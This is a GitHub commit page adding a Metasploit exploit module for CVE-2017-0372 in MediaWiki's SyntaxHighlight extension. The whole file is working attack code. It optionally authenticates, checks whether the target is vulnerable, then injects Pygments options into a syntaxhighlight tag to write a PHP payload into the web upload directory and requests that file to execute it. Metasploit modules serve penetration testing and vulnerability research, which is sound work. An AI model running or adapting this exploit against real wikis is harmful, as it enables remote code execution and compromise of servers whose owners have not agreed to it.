Skip to content

Commit 1569d2c

Browse files
authored
MediaWiki SyntaxHighlight extension exploit module
This module exploits an option injection vulnerability in the SyntaxHighlight extension of MediaWiki. It tries to create & execute a PHP file in the document root. The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
1 parent c54aa22 commit 1569d2c

File tree

1 file changed

+157
-0
lines changed

1 file changed

+157
-0
lines changed
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GoodRanking
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
13+
'Description' => %q{
14+
This module exploits an option injection vulnerability in the SyntaxHighlight
15+
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
16+
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
17+
},
18+
'Author' => 'Yorick Koster',
19+
'License' => MSF_LICENSE,
20+
'Platform' => 'php',
21+
'Payload' => { 'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f ,'\"" } ,
22+
'References' =>
23+
[
24+
[ 'CVE', '2017-0372' ],
25+
[ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ],
26+
[ 'URL', 'https://phabricator.wikimedia.org/T158689' ],
27+
[ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]
28+
],
29+
'Arch' => ARCH_PHP,
30+
'Targets' =>
31+
[
32+
['Automatic Targeting', { 'auto' => true } ],
33+
],
34+
'DefaultTarget' => 0,
35+
'DisclosureDate' => 'Mar 01 2017'))
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]),
40+
OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]),
41+
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
42+
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]),
43+
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
44+
])
45+
end
46+
47+
def check
48+
res = send_request_cgi({
49+
'method' => 'POST',
50+
'uri' => normalize_uri(target_uri.path, 'api.php'),
51+
'cookie' => @cookie,
52+
'vars_post' => {
53+
'action' => 'parse',
54+
'format' => 'json',
55+
'contentmodel' => 'wikitext',
56+
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
57+
}
58+
})
59+
60+
if(res && res.headers.key?('MediaWiki-API-Error'))
61+
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
62+
return Exploit::CheckCode::Appears
63+
elsif(res.headers['MediaWiki-API-Error'] == 'readapidenied')
64+
print_error("Login is required")
65+
end
66+
return Exploit::CheckCode::Unknown
67+
end
68+
69+
Exploit::CheckCode::Safe
70+
end
71+
72+
# use deprecated interface
73+
def login
74+
print_status("Trying to login....")
75+
# get login token
76+
res = send_request_cgi({
77+
'method' => 'POST',
78+
'uri' => normalize_uri(target_uri.path, 'api.php'),
79+
'vars_post' => {
80+
'action' => 'login',
81+
'format' => 'json',
82+
'lgname' => datastore['USERNAME']
83+
}
84+
})
85+
unless res
86+
fail_with(Failure::Unknown, 'Connection timed out')
87+
end
88+
json = res.get_json_document
89+
if json.empty? || !json['login'] || !json['login']['token']
90+
fail_with(Failure::Unknown, 'Server returned an invalid response')
91+
end
92+
logintoken = json['login']['token']
93+
@cookie = res.get_cookies
94+
95+
# login
96+
res = send_request_cgi({
97+
'method' => 'POST',
98+
'uri' => normalize_uri(target_uri.path, 'api.php'),
99+
'cookie' => @cookie,
100+
'vars_post' => {
101+
'action' => 'login',
102+
'format' => 'json',
103+
'lgname' => datastore['USERNAME'],
104+
'lgpassword' => datastore['PASSWORD'],
105+
'lgtoken' => logintoken
106+
}
107+
})
108+
unless res
109+
fail_with(Failure::Unknown, 'Connection timed out')
110+
end
111+
json = res.get_json_document
112+
if json.empty? || !json['login'] || !json['login']['result']
113+
fail_with(Failure::Unknown, 'Server returned an invalid response')
114+
end
115+
if json['login']['result'] == 'Success'
116+
@cookie = res.get_cookies
117+
else
118+
fail_with(Failure::Unknown, 'Failed to login')
119+
end
120+
end
121+
122+
def exploit
123+
@cookie = ''
124+
if datastore['USERNAME'] && datastore['USERNAME'].length > 0
125+
login
126+
end
127+
128+
check_code = check
129+
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
130+
fail_with(Failure::NoTarget, "#{peer}")
131+
end
132+
133+
phpfile = rand_text_alpha_lower(25) + '.php'
134+
cssfile = datastore['UPLOADPATH'] + '/' + phpfile
135+
cleanup = "unlink(\"#{phpfile}\");"
136+
if not datastore['CLEANUP']
137+
cleanup = ""
138+
end
139+
print_status("Local PHP file: #{cssfile}")
140+
141+
res = send_request_cgi({
142+
'method' => 'POST',
143+
'uri' => normalize_uri(target_uri.path, 'api.php'),
144+
'cookie' => @cookie,
145+
'vars_post' => {
146+
'action' => 'parse',
147+
'format' => 'json',
148+
'contentmodel' => 'wikitext',
149+
'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{cssfile},classprefix=&lt;?php #{cleanup}#{payload.encoded} exit;?&gt;'></syntaxhighlight>"
150+
}
151+
})
152+
if res
153+
print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}")
154+
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})
155+
end
156+
end
157+
end

0 commit comments

Comments
 (0)